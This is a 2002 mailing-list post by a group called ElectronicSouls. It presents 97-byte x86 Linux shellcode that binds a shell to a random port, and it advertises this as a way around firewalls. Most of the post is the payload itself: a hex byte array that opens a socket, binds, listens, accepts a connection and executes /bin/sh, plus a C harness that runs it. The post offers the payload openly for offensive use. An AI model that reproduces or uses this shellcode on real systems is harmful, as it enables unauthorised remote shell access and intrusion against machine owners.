[ElectronicSouls] - Advanced Linux Shellcode

[es () hush com]

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Dear List,

We have pioneered a new shellcoding style for Linux.  What our shellcode does is your typical "portbinding", but we 
take it to the next level as we have it bind to a random port.  This is useful for traversing firewalls.

# cat  random-portbind.c
/* (C) roc - [ElectronicSouls]
 * x86 Linux 97 bytes portbinding shellcode
 *
 *  This shellcode binds to a random port so if used
 *   in remote/local(dont know why you'd want to use
 *   it locally) you will have to nmap your target
 *   to find what shell the port is on.
 *
 *
 */

unsigned char shellcode[] = "\x31\xdb\x31\xc9\xf7\xe3\x52\x43"
                            "\x53\x43\x53\x89\xe1\x4b\xb0\x66"
                            "\xcd\x80\x89\xc6\x43\x52\x66\x52"
                            "\x66\x53\x89\xe7\x6a\x10\x57\x50"
                            "\x89\xe1\xb0\x66\xcd\x80\x42\x52"
                            "\x56\x89\xe1\x43\x43\xb0\x66\xcd"
                            "\x80\x4a\x52\x52\x56\x43\x89\xe1"
                            "\xb0\x66\xcd\x80\x31\xc9\x89\xc3"
                            "\x83\xf9\x03\x73\x07\xb0\x3f\xcd"
                            "\x80\x41\xeb\xf4\x52\x68\x6e\x2f"
                            "\x73\x68\x68\x2f\x2f\x62\x69\x89"
                            "\xe3\x52\x53\x89\xe1\xb0\x0b\xcd"
                            "\x80";

int main() {
 /* modified from lamagra's execute chroot shellcode */
  int (*funct)();
  funct = (int (*)()) shellcode;
  printf("size = %d\n",strlen(shellcode));
  (int)(*funct)();

 }

#

The Electronic Souls Crew
[ElectronicSouls] (c) 2002

"r(t) = (a cos(t))*i+(a sin(t))*j+btk"
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